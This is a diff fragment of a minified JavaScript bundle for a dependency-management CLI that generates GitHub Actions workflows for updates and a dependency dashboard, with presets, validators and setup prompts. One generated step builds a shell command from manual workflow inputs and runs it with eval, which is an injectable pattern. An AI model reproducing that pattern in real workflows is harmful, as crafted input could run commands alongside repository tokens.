PACKAGES="\${{ github.event.inputs.packages }}"
|
|
801
|
+
VERBOSE="\${{ github.event.inputs.verbose || 'true' }}"
|
|
802
|
+
|
|
803
|
+
echo "\uD83D\uDE80 Running dependency updates..."
|
|
804
|
+
echo "This will create/update PRs if outdated dependencies are found"
|
|
805
|
+
echo ""
|
|
806
|
+
|
|
807
|
+
set -e # Exit on any error
|
|
808
|
+
|
|
809
|
+
if [ "$PACKAGES" != "" ]; then
|
|
810
|
+
if [ "$VERBOSE" = "true" ]; then
|
|
811
|
+
bunx @buddysh/buddy update --packages "$PACKAGES" --verbose
|
|
812
|
+
else
|
|
813
|
+
bunx @buddysh/buddy update --packages "$PACKAGES"
|
|
814
|
+
fi
|
|
815
|
+
else
|
|
816
|
+
if [ "$VERBOSE" = "true" ]; then
|
|
817
|
+
bunx @buddysh/buddy update --strategy "$STRATEGY" --verbose
|
|
818
|
+
else
|
|
819
|
+
bunx @buddysh/buddy update --strategy "$STRATEGY"
|
|
820
|
+
fi
|
|
821
|
+
fi
|
|
822
|
+
|
|
823
|
+
env:
|
|
824
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
825
|
+
BUDDY_TOKEN: \${{ secrets.BUDDY_TOKEN }}
|
|
826
|
+
|
|
827
|
+
- name: Dry run notification
|
|
828
|
+
if: \${{ github.event.inputs.dry_run == 'true' }}
|
|
829
|
+
run: |
|
|
830
|
+
echo "\u2139\uFE0F **Dry Run Mode** - No changes were made"
|
|
831
|
+
echo "To apply updates, run this workflow again with 'Dry run' set to false"
|
|
832
|
+
|
|
833
|
+
- name: Create update summary
|
|
834
|
+
if: always()
|
|
835
|
+
run: |
|
|
836
|
+
echo "## \uD83D\uDE80 Dependency Update Summary" >> $GITHUB_STEP_SUMMARY
|
|
837
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
838
|
+
echo "- **Strategy**: \${{ github.event.inputs.strategy || needs.determine-jobs.outputs.update_strategy || '${Q.strategy}' }}" >> $GITHUB_STEP_SUMMARY
|
|
839
|
+
echo "- **Triggered by**: \${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY
|
|
840
|
+
echo "- **Dry run**: \${{ github.event.inputs.dry_run || 'false' }}" >> $GITHUB_STEP_SUMMARY
|
|
841
|
+
echo "- **Packages**: \${{ github.event.inputs.packages || 'all' }}" >> $GITHUB_STEP_SUMMARY
|
|
842
|
+
echo "- **Verbose**: \${{ github.event.inputs.verbose || 'true' }}" >> $GITHUB_STEP_SUMMARY
|
|
843
|
+
echo "- **Time**: $(date)" >> $GITHUB_STEP_SUMMARY
|
|
844
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
845
|
+
|
|
846
|
+
if [ "\${{ github.event_name }}" = "schedule" ]; then
|
|
847
|
+
echo "\u23F0 **Scheduled Run**: This was triggered automatically (${Q.name}: \`${Q.schedules.updates}\`)" >> $GITHUB_STEP_SUMMARY
|
|
848
|
+
echo "\uD83D\uDCA1 **Tip**: Use 'Actions' tab to manually trigger with custom settings" >> $GITHUB_STEP_SUMMARY
|
|
849
|
+
else
|
|
850
|
+
echo "\uD83D\uDDB1\uFE0F **Manual Trigger**: This was triggered manually from the Actions tab" >> $GITHUB_STEP_SUMMARY
|
|
851
|
+
echo "\u23F0 **Auto-Schedule**: This workflow also runs on \`${Q.schedules.updates}\`" >> $GITHUB_STEP_SUMMARY
|
|
852
|
+
fi
|
|
853
|
+
|
|
854
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
855
|
+
echo "\uD83D\uDCCA View detailed logs above for scan and update results." >> $GITHUB_STEP_SUMMARY
|
|
856
|
+
|
|
857
|
+
# Dashboard update job
|
|
858
|
+
dashboard-update:
|
|
859
|
+
runs-on: ubuntu-latest
|
|
860
|
+
timeout-minutes: 15
|
|
861
|
+
needs: [determine-jobs, setup, dependency-update]
|
|
862
|
+
if: \${{ needs.determine-jobs.outputs.run_dashboard == 'true' && always() }}
|
|
863
|
+
|
|
864
|
+
steps:
|
|
865
|
+
- name: Checkout repository
|
|
866
|
+
uses: actions/checkout@v4
|
|
867
|
+
with:
|
|
868
|
+
token: \${{ secrets.GITHUB_TOKEN }}
|
|
869
|
+
|
|
870
|
+
- name: Setup Bun
|
|
871
|
+
uses: oven-sh/setup-bun@v2
|
|
872
|
+
|
|
873
|
+
- name: Install dependencies
|
|
874
|
+
run: bun install
|
|
875
|
+
|
|
876
|
+
- name: Display dashboard configuration
|
|
877
|
+
run: |
|
|
878
|
+
echo "\uD83D\uDCCA **Buddy Dashboard Management**"
|
|
879
|
+
echo "Pin Dashboard: \${{ github.event.inputs.pin || 'true' }}"
|
|
880
|
+
echo "Custom Title: \${{ github.event.inputs.title || 'default' }}"
|
|
881
|
+
echo "Issue Number: \${{ github.event.inputs.issue_number || 'auto-detect' }}"
|
|
882
|
+
echo "Verbose: \${{ github.event.inputs.verbose || 'true' }}"
|
|
883
|
+
echo "Dry Run: \${{ github.event.inputs.dry_run || 'false' }}"
|
|
884
|
+
echo "Triggered by: \${{ github.event_name }}"
|
|
885
|
+
echo "Repository: \${{ github.repository }}"
|
|
886
|
+
echo "Branch: \${{ github.ref_name }}"
|
|
887
|
+
|
|
888
|
+
- name: Pre-flight dashboard check
|
|
889
|
+
if: \${{ github.event.inputs.dry_run != 'true' }}
|
|
890
|
+
run: |
|
|
891
|
+
echo "\uD83D\uDD0D Pre-flight check: Looking for existing dashboard issues..."
|
|
892
|
+
|
|
893
|
+
# Check for existing dashboard issues to prevent duplicates
|
|
894
|
+
if command -v gh &> /dev/null; then
|
|
895
|
+
EXISTING_DASHBOARDS=$(gh issue list --label "dashboard,dependencies" --state open --json number,title,url --jq length 2>/dev/null || echo "0")
|
|
896
|
+
echo "Found $EXISTING_DASHBOARDS existing dashboard issue(s)"
|
|
897
|
+
|
|
898
|
+
if [ "$EXISTING_DASHBOARDS" -gt 1 ]; then
|
|
899
|
+
echo "\u26A0\uFE0F WARNING: Multiple dashboard issues detected!"
|
|
900
|
+
gh issue list --label "dashboard,dependencies" --state open --json number,title,url --jq '.[] | " - #\\(.number): \\(.title) - \\(.url)"' 2>/dev/null || true
|
|
901
|
+
echo ""
|
|
902
|
+
echo "\uD83D\uDD27 Buddy will attempt to update the most recent one and may close duplicates"
|
|
903
|
+
elif [ "$EXISTING_DASHBOARDS" -eq 1 ]; then
|
|
904
|
+
DASHBOARD_INFO=$(gh issue list --label "dashboard,dependencies" --state open --json number,title,url --jq '.[0] | "#\\(.number): \\(.title) - \\(.url)"' 2>/dev/null || echo "Found 1 dashboard")
|
|
905
|
+
echo "\u2705 Found existing dashboard: $DASHBOARD_INFO"
|
|
906
|
+
else
|
|
907
|
+
echo "\u2139\uFE0F No existing dashboard found - a new one will be created"
|
|
908
|
+
fi
|
|
909
|
+
else
|
|
910
|
+
echo "\u26A0\uFE0F GitHub CLI not available - cannot perform pre-flight check"
|
|
911
|
+
fi
|
|
912
|
+
|
|
913
|
+
- name: Update Dependency Dashboard
|
|
914
|
+
run: |
|
|
915
|
+
PIN="\${{ github.event.inputs.pin || 'true' }}"
|
|
916
|
+
TITLE="\${{ github.event.inputs.title }}"
|
|
917
|
+
ISSUE_NUMBER="\${{ github.event.inputs.issue_number }}"
|
|
918
|
+
VERBOSE="\${{ github.event.inputs.verbose || 'true' }}"
|
|
919
|
+
DRY_RUN="\${{ github.event.inputs.dry_run || 'false' }}"
|
|
920
|
+
|
|
921
|
+
echo "\uD83D\uDCCA Updating dependency dashboard..."
|
|
922
|
+
echo "Pin: $PIN"
|
|
923
|
+
echo "Title: \${TITLE:-default}"
|
|
924
|
+
echo "Issue Number: \${ISSUE_NUMBER:-auto-detect}"
|
|
925
|
+
echo "Verbose: $VERBOSE"
|
|
926
|
+
echo "Dry Run: $DRY_RUN"
|
|
927
|
+
echo ""
|
|
928
|
+
|
|
929
|
+
set -e # Exit on any error
|
|
930
|
+
|
|
931
|
+
# Build the command
|
|
932
|
+
COMMAND="bunx @buddysh/buddy dashboard"
|
|
933
|
+
|
|
934
|
+
if [ "$TITLE" != "" ]; then
|
|
935
|
+
COMMAND="$COMMAND --title \\"$TITLE\\""
|
|
936
|
+
fi
|
|
937
|
+
|
|
938
|
+
if [ "$ISSUE_NUMBER" != "" ]; then
|
|
939
|
+
COMMAND="$COMMAND --issue-number \\"$ISSUE_NUMBER\\""
|
|
940
|
+
fi
|
|
941
|
+
|
|
942
|
+
if [ "$PIN" = "true" ]; then
|
|
943
|
+
COMMAND="$COMMAND --pin"
|
|
944
|
+
else
|
|
945
|
+
COMMAND="$COMMAND --no-pin"
|
|
946
|
+
fi
|
|
947
|
+
|
|
948
|
+
if [ "$VERBOSE" = "true" ]; then
|
|
949
|
+
COMMAND="$COMMAND --verbose"
|
|
950
|
+
fi
|
|
951
|
+
|
|
952
|
+
if [ "$DRY_RUN" = "true" ]; then
|
|
953
|
+
echo "\uD83D\uDCCB DRY RUN MODE - Command that would be executed:"
|
|
954
|
+
echo "$COMMAND"
|
|
955
|
+
echo ""
|
|
956
|
+
echo "\u2139\uFE0F In dry run mode, dashboard content would be generated but no issue would be created/updated"
|
|
957
|
+
|
|
958
|
+
# Run scan to show what would be included
|
|
959
|
+
echo "\uD83D\uDD0D Scanning for dependencies that would be included:"
|
|
960
|
+
if [ "$VERBOSE" = "true" ]; then
|
|
961
|
+
bunx @buddysh/buddy scan --verbose
|
|
962
|
+
else
|
|
963
|
+
bunx @buddysh/buddy scan
|
|
964
|
+
fi
|
|
965
|
+
else
|
|
966
|
+
echo "\uD83D\uDE80 Executing dashboard update:"
|
|
967
|
+
echo "$COMMAND"
|
|
968
|
+
echo ""
|
|
969
|
+
eval "$COMMAND"
|
|
970
|
+
fi
|
|
971
|
+
|
|
972
|
+
env:
|
|
973
|
+
GITHUB_TOKEN: \${{ secrets.GITHUB_TOKEN }}
|
|
974
|
+
BUDDY_TOKEN: \${{ secrets.BUDDY_TOKEN }}
|
|
975
|
+
|
|
976
|
+
- name: Dry run notification
|
|
977
|
+
if: \${{ github.event.inputs.dry_run == 'true' }}
|
|
978
|
+
run: |
|
|
979
|
+
echo "\u2139\uFE0F **Dry Run Mode** - Dashboard preview completed"
|
|
980
|
+
echo "To actually update the dashboard, run this workflow again with 'Dry run' set to false"
|
|
981
|
+
|
|
982
|
+
- name: Check dashboard status
|
|
983
|
+
if: \${{ github.event.inputs.dry_run != 'true' }}
|
|
984
|
+
run: |
|
|
985
|
+
echo "\u2705 Dashboard update completed"
|
|
986
|
+
echo "\uD83D\uDD17 Check your repository issues for the updated dependency dashboard"
|
|
987
|
+
|
|
988
|
+
# Try to find and link to the dashboard issue
|
|
989
|
+
echo "\uD83D\uDCCA Looking for dependency dashboard issue..."
|
|
990
|
+
|
|
991
|
+
# Use GitHub CLI to find the dashboard issue
|
|
992
|
+
if command -v gh &> /dev/null; then
|
|
993
|
+
DASHBOARD_URL=$(gh issue list --label "dashboard,dependencies" --state open --limit 1 --json url --jq '.[0].url' 2>/dev/null || echo "")
|
|
994
|
+
if [ "$DASHBOARD_URL" != "null" ] && [ "$DASHBOARD_URL" != "" ]; then
|
|
995
|
+
echo "\uD83C\uDFAF Dashboard found: $DASHBOARD_URL"
|
|
996
|
+
else
|
|
997
|
+
echo "\uD83D\uDD0D Dashboard issue not found via CLI, check issues manually"
|
|
998
|
+
fi
|
|
999
|
+
else
|
|
1000
|
+
echo "\uD83D\uDCA1 Check your issues tab for the dependency dashboard"
|
|
1001
|
+
fi
|
|
1002
|
+
|
|
1003
|
+
- name: Create dashboard summary
|
|
1004
|
+
if: always()
|
|
1005
|
+
run: |
|
|
1006
|
+
echo "## \uD83D\uDCCA Dependency Dashboard Summary" >> $GITHUB_STEP_SUMMARY
|
|
1007
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
1008
|
+
echo "- **Pin Dashboard**: \${{ github.event.inputs.pin || 'true' }}" >> $GITHUB_STEP_SUMMARY
|
|
1009
|
+
echo "- **Custom Title**: \${{ github.event.inputs.title || 'default' }}" >> $GITHUB_STEP_SUMMARY
|
|
1010
|
+
echo "- **Issue Number**: \${{ github.event.inputs.issue_number || 'auto-detect' }}" >> $GITHUB_STEP_SUMMARY
|
|
1011
|
+
echo "- **Triggered by**: \${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY
|
|
1012
|
+
echo "- **Dry run**: \${{ github.event.inputs.dry_run || 'false' }}" >> $GITHUB_STEP_SUMMARY
|
|
1013
|
+
echo "- **Verbose**: \${{ github.event.inputs.verbose || 'true' }}" >> $GITHUB_STEP_SUMMARY
|
|
1014
|
+
echo "- **Time**: $(date)" >> $GITHUB_STEP_SUMMARY
|
|
1015
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
1016
|
+
|
|
1017
|
+
if [ "\${{ github.event_name }}" = "schedule" ]; then
|
|
1018
|
+
echo "\u23F0 **Scheduled Update**: This was triggered automatically" >> $GITHUB_STEP_SUMMARY
|
|
1019
|
+
echo "\uD83D\uDD04 **Schedule**: \`${Q.schedules.dashboard}\` (${Q.name})" >> $GITHUB_STEP_SUMMARY
|
|
1020
|
+
echo "\uD83D\uDCA1 **Tip**: Use 'Actions' tab to manually trigger with custom settings" >> $GITHUB_STEP_SUMMARY
|
|
1021
|
+
else
|
|
1022
|
+
echo "\uD83D\uDDB1\uFE0F **Manual Trigger**: This was triggered manually from the Actions tab" >> $GITHUB_STEP_SUMMARY
|
|
1023
|
+
echo "\u23F0 **Auto-Schedule**: This workflow also runs automatically on schedule" >> $GITHUB_STEP_SUMMARY
|
|
1024
|
+
fi
|
|
1025
|
+
|
|
1026
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
1027
|
+
|
|
1028
|
+
if [ "\${{ github.event.inputs.dry_run }}" = "true" ]; then
|
|
1029
|
+
echo "\uD83D\uDCCB **Dry Run**: No changes were made. Dashboard content was previewed only." >> $GITHUB_STEP_SUMMARY
|
|
1030
|
+
else
|
|
1031
|
+
echo "\u2705 **Dashboard Updated**: Check your repository issues for the updated dependency dashboard." >> $GITHUB_STEP_SUMMARY
|
|
1032
|
+
fi
|
|
1033
|
+
|
|
1034
|
+
echo "" >> $GITHUB_STEP_SUMMARY
|
|
1035
|
+
echo "\uD83D\uDCCA View detailed logs above for dashboard update results." >> $GITHUB_STEP_SUMMARY
|
|
1036
|
+
`}async function bQ($,Q,Z,z){let J=Q.provider??"github",Y=y0(J,{review:!0});if(Y){W.writeFileSync(Y.path,Y.content),z.info(`Generated ${Y.path} for ${J}`),z.info(`\u26A0\uFE0F ${J} schedules are configured in the project UI \u2014 see the comments at the top of ${Y.path}`);return}let q=".github/workflows";if(!W.existsSync(q))W.mkdirSync(q,{recursive:!0});let F=D$(Z,$);W.writeFileSync(r.join(q,"buddy.yml"),F),z.info(`Generated unified buddy workflow for ${$.name} (combines check, update, and dashboard)`);for(let{cron:j,jobs:V}of m0($))z.info(` ${j} \u2014 ${V.join(", ")}`);let X=g0.generateSecurityAuditWorkflow();W.writeFileSync(r.join(q,"buddy-security.yml"),X),z.info("Generated GitHub Actions security audit workflow (buddy-security.yml)");let K=["buddy-check.yml","buddy-update.yml","buddy-dashboard.yml","gh-audit.yml"],H=0;for(let j of K){let V=r.join(q,j);if(W.existsSync(V))W.unlinkSync(V),z.info(`Removed old workflow file: ${j}`),H++}if(z.success(`Generated unified workflow in ${q}`),H>0)z.info(`Cleaned up ${H} old workflow file${H===1?"":"s"}`)}function d0($){let Q={standard:{name:"Standard Project",description:"Daily patch updates, weekly minor updates, monthly major updates",templates:{daily:!0,weekly:!0,monthly:!0},schedules:{dashboard:"0 9 * * 1,3,5",updates:"0 9 * * *"},strategy:"patch",autoMerge:!1,custom:[{name:"weekly-minor",schedule:"0 9 * * 1",strategy:"minor",autoMerge:!1},{name:"monthly-major",schedule:"0 9 1 * *",strategy:"major",autoMerge:!1}]},"high-frequency":{name:"High Frequency Updates",description:"Check for updates 4 times per day (6AM, 12PM, 6PM, 12AM)",templates:{},schedules:{dashboard:"0 9 * * *",updates:"manual"},strategy:"patch",autoMerge:!0,custom:[{name:"morning-updates",schedule:"0 6 * * *",strategy:"patch",autoMerge:!0,autoMergeStrategy:"squash"},{name:"noon-updates",schedule:"0 12 * * *",strategy:"patch",autoMerge:!0,autoMergeStrategy:"squash"},{name:"evening-updates",schedule:"0 18 * * *",strategy:"patch",autoMerge:!0,autoMergeStrategy:"squash"},{name:"midnight-updates",schedule:"0 0 * * *",strategy:"minor",autoMerge:!1}]},security:{name:"Security Focused",description:"Frequent patch updates with security-first approach",templates:{},schedules:{dashboard:"0 9 * * *",updates:"0 */4 * * *"},strategy:"patch",autoMerge:!0,custom:[{name:"weekly-minor",schedule:"0 9 * * 1",strategy:"minor",autoMerge:!1}]},minimal:{name:"Minimal Updates",description:"Weekly patch updates, monthly minor/major updates",templates:{weekly:!0,monthly:!0},schedules:{dashboard:"0 9 * * 1",updates:"0 9 * * 1"},strategy:"patch",autoMerge:!1,custom:[{name:"monthly-updates",schedule:"0 9 1 * *",strategy:"all",autoMerge:!1}]},docker:{name:"Docker Project",description:"Optimized for containerized applications",templates:{docker:!0,weekly:!0},schedules:{dashboard:"0 9 * * 1",updates:"0 9 * * 1"},strategy:"all",autoMerge:!1,custom:[]},monorepo:{name:"Monorepo",description:"Multiple packages in a single repository",templates:{monorepo:!0,daily:!0},schedules:{dashboard:"0 9 * * *",updates:"0 9 * * *"},strategy:"all",autoMerge:!1,custom:[]},testing:{name:"Development/Testing",description:"Manual trigger + every 20 minutes (for testing)",templates:{},schedules:{dashboard:"manual",updates:"*/15 * * * *"},strategy:"patch",autoMerge:!1,custom:[{name:"testing-updates",schedule:"*/20 * * * *",strategy:"patch",autoMerge:!1}]},custom:{name:"Custom Configuration",description:"Create your own update schedule",templates:{},schedules:{dashboard:"manual",updates:"manual"},strategy:"all",autoMerge:!1,custom:[]}};return Q[$]||Q.standard}async function kQ($){let Q={success:!0,errors:[],warnings:[],suggestions:[]};if(!$.includes("name:"))Q.errors.push('Workflow missing required "name" field'),Q.success=!1;if(!$.includes("on:"))Q.errors.push('Workflow missing required "on" trigger field'),Q.success=!1;if(!$.includes("jobs:"))Q.errors.push('Workflow missing required "jobs" field'),Q.success=!1;if($.includes("${{ secrets.GITHUB_TOKEN }}"))Q.suggestions.push("Using default GITHUB_TOKEN. Consider using a Personal Access Token for full functionality.");if(!$.includes("permissions:"))Q.warnings.push("Workflow permissions not explicitly defined. This may cause issues.");if(!$.includes("bunx @buddysh/buddy"))Q.errors.push("Workflow missing buddy execution commands"),Q.success=!1;return Q}async function SQ($){let Q={success:!0,errors:[],warnings:[],suggestions:[]};try{let Z={Accept:"application/vnd.github.v3+json","User-Agent":"buddy"},z=E.env.BUDDY_TOKEN||E.env.GITHUB_TOKEN||E.env.GH_TOKEN;if(z)Z.Authorization=`Bearer ${z}`;let J=await v(`${f0()}/repos/${$.owner}/${$.name}`,{headers:Z});if(J.status===404)return Q.errors.push(z?"Repository not found or not accessible with the configured token":"Repository not found. If it is private, set GITHUB_TOKEN and retry."),Q.success=!1,Q;if(J.status===403)return Q.errors.push("Access forbidden. Check repository permissions."),Q.success=!1,Q;if(J.ok){let Y=await J.json();if(Y.archived)Q.warnings.push("Repository is archived. Updates may not be useful.");if(Y.private)Q.suggestions.push("Private repository detected. Ensure token has appropriate access.");if(!Y.has_issues)Q.warnings.push("Issues are disabled. Dashboard functionality will not work.");if(!Y.permissions?.push)Q.warnings.push("Limited repository permissions detected. Some features may not work.")}}catch{Q.warnings.push("Could not validate repository access. Network or API issues.")}return Q}function vQ($,Q){if(G().info(`
|
|
1037
|
+
${Q}:`),$.errors.length>0)G().info("\u274C Errors:"),$.errors.forEach((Z)=>G().info(` \u2022 ${Z}`));if($.warnings.length>0)G().info("\u26A0\uFE0F Warnings:"),$.warnings.forEach((Z)=>G().info(` \u2022 ${Z}`));if($.suggestions.length>0)G().info("\uD83D\uDCA1 Suggestions:"),$.suggestions.forEach((Z)=>G().info(` \u2022 ${Z}`));if($.errors.length===0&&$.warnings.length===0)G().info("\u2705 All checks passed!")}async function yQ($,Q){let Z=await b0({message:"Which built-in workflow templates would you like to enable?",options:[{label:"Daily Updates",hint:"Run patch updates daily",value:"daily"},{label:"Weekly Updates",hint:"Run minor updates weekly",value:"weekly"},{label:"Monthly Updates",hint:"Run major updates monthly",value:"monthly"},{label:"Comprehensive",hint:"All-in-one workflow",value:"comprehensive"},{label:"Docker Support",hint:"Container-optimized workflows",value:"docker"},{label:"Monorepo Support",hint:"Multi-package workflows",value:"monorepo"}],required:!1});if(!Array.isArray(Z))return;for(let Y of Z)$.templates[Y]=!0;if(await a({message:"Would you like to add custom workflow schedules?",initialValue:!1})!==!0)return;$.custom??=[];let J;do{let Y=await K0({message:'Workflow name (e.g., "security-updates"):',validate:(H)=>H?.length?void 0:"Name is required"});if(typeof Y!=="string")return;let q=await m({message:"Update frequency:",options:[{label:"Every 6 hours",value:"0 */6 * * *"},{label:"Twice daily (9AM, 9PM)",value:"0 9,21 * * *"},{label:"Daily at 9AM",value:"0 9 * * *"},{label:"Weekly (Monday 9AM)",value:"0 9 * * 1"},{label:"Custom cron expression",value:"custom"}]});if(q==="custom")q=await K0({message:'Enter cron expression (e.g., "0 */4 * * *"):',validate:(H)=>H?.length?void 0:"Cron expression is required"});if(typeof q!=="string")return;let F=await m({message:"Update strategy:",options:[{label:"Patch only (safest)",value:"patch"},{label:"Minor + Patch",value:"minor"},{label:"All updates",value:"all"}]});if(typeof F!=="string")return;let X=await a({message:"Enable auto-merge for this workflow?",initialValue:!1});if(typeof X!=="boolean")return;let K;if(X){let H=await m({message:"Auto-merge strategy:",initialValue:"squash",options:[{label:"Squash and merge (recommended)",value:"squash"},{label:"Create a merge commit",value:"merge"},{label:"Rebase and merge",value:"rebase"}]});if(typeof H!=="string")return;K=H}$.custom.push({name:Y,schedule:q,strategy:F,autoMerge:X,autoMergeStrategy:K}),J=await a({message:"Add another custom workflow?",initialValue:!1})===!0}while(J)}async function _Q($,Q){if(G().info("\u2705 Generated unified buddy workflow in .github/workflows/:"),G().info(" - buddy.yml (Combined check, update, and dashboard management)"),G().info("\uD83D\uDCC1 Configuration file: buddy.config.ts"),G().info(`
|
|
1038
|
+
\uD83D\uDE80 Next Steps:`),G().info("1. Review and commit the generated workflow files"),G().info(" git add .github/workflows/ buddy.config.ts"),G().info(' git commit -m "Add Buddy dependency management workflows"'),G().info(" git push"),Q)G().info(`
|
|
1039
|
+
2. \uD83D\uDD11 Complete your token setup:`),G().info(" \u2705 Your Personal Access Token should be configured as:"),G().info(" \u2022 Organization secret: BUDDY_TOKEN (recommended), or"),G().info(" \u2022 Repository secret: BUDDY_TOKEN"),G().info(" \uD83D\uDCA1 The workflows will automatically detect and use your token");else G().info(`
|
|
1040
|
+
2. \u26A0\uFE0F Using default GITHUB_TOKEN (limited functionality):`),G().info(" \u2022 Dependency updates: \u2705 Will work"),G().info(" \u2022 Dashboard creation: \u2705 Will work"),G().info(" \u2022 Workflow file updates: \u274C Won't work"),G().info(" \uD83D\uDCA1 Consider setting up a Personal Access Token later for full functionality");G().info(`
|
|
1041
|
+
3. \uD83D\uDD27 Configure repository permissions:`),G().info(` - Go to: https://github.com/${$.owner}/${$.name}/settings/actions`),G().info(' - Under "Workflow permissions":'),G().info(' \u2705 Select "Read and write permissions"'),G().info(' \u2705 Check "Allow GitHub Actions to create and approve pull requests"'),G().info(' - Click "Save"'),G().info(`
|
|
1042
|
+
\uD83C\uDF89 Setup Complete!`),G().info("\uD83D\uDCA1 Your workflows will now run automatically on schedule!"),G().info("\uD83D\uDCCA First dashboard update will appear within 24 hours"),G().info("\uD83D\uDD17 Learn more: https://docs.github.com/en/actions")}
|
|
1043
|
+
export{v0 as _g,q$ as $g,X$ as ah,y0 as bh,X1 as ch,a as dh,m as eh,G$ as fh,V$ as gh,DQ as hh,EQ as ih,wQ as jh,LQ as kh,IQ as lh,j$ as mh,RQ as nh,AQ as oh,CQ as ph,xQ as qh,hQ as rh,m0 as sh,D$ as th,bQ as uh,d0 as vh,kQ as wh,SQ as xh,vQ as yh,yQ as zh,_Q as Ah};
|